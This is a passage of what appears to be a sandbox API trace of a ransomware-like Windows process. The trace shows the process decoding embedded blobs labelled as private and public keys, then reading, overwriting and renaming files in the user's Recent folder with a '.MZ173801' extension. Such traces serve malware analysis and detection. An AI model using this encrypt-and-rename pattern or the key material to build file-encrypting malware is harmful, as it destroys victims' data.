lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.713] GetCurrentThreadId () returned 0xab4 [0152.713] GetCurrentThreadId () returned 0xab4 [0152.713] GetCurrentThreadId () returned 0xab4 [0152.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.714] GetCurrentThreadId () returned 0xab4 [0152.714] GetCurrentThreadId () returned 0xab4 [0152.714] GetCurrentThreadId () returned 0xab4 [0152.714] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww0uvocct0qsPBwJa 7.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ww0uvocct0qspbwja 7.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.714] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.714] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.714] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x44e [0152.715] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.715] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x44e, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x44e, lpOverlapped=0x0) returned 1 [0152.715] CloseHandle (hObject=0x280) returned 1 [0152.716] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww0uvocct0qsPBwJa 7.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ww0uvocct0qspbwja 7.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.716] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x44e, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x44e, lpOverlapped=0x0) returned 1 [0152.717] CloseHandle (hObject=0x280) returned 1 [0152.719] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww0uvocct0qsPBwJa 7.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ww0uvocct0qspbwja 7.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww0uvocct0qsPBwJa 7.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ww0uvocct0qspbwja 7.lnk.mz173801")) returned 1 [0152.719] GetCurrentThreadId () returned 0xab4 [0152.719] GetCurrentThreadId () returned 0xab4 [0152.719] GetCurrentThreadId () returned 0xab4 [0152.719] GetCurrentThreadId () returned 0xab4 [0152.720] GetCurrentThreadId () returned 0xab4 [0152.720] GetCurrentThreadId () returned 0xab4 [0152.720] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b24891a, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b24891a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5b24891a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="xC-u2wjwqhihKd-.lnk", cAlternateFileName="XC-U2W~1.LNK")) returned 1 [0152.720] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.720] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.720] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xC-u2wjwqhihKd-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xc-u2wjwqhihkd-.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b24891a, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5b24891a, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5b24891a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x505)) returned 1 [0152.720] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xC-u2wjwqhihKd-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xc-u2wjwqhihkd-.lnk")) returned 0x20 [0152.720] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xC-u2wjwqhihKd-.lnk", dwFileAttributes=0x80) returned 1 [0152.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 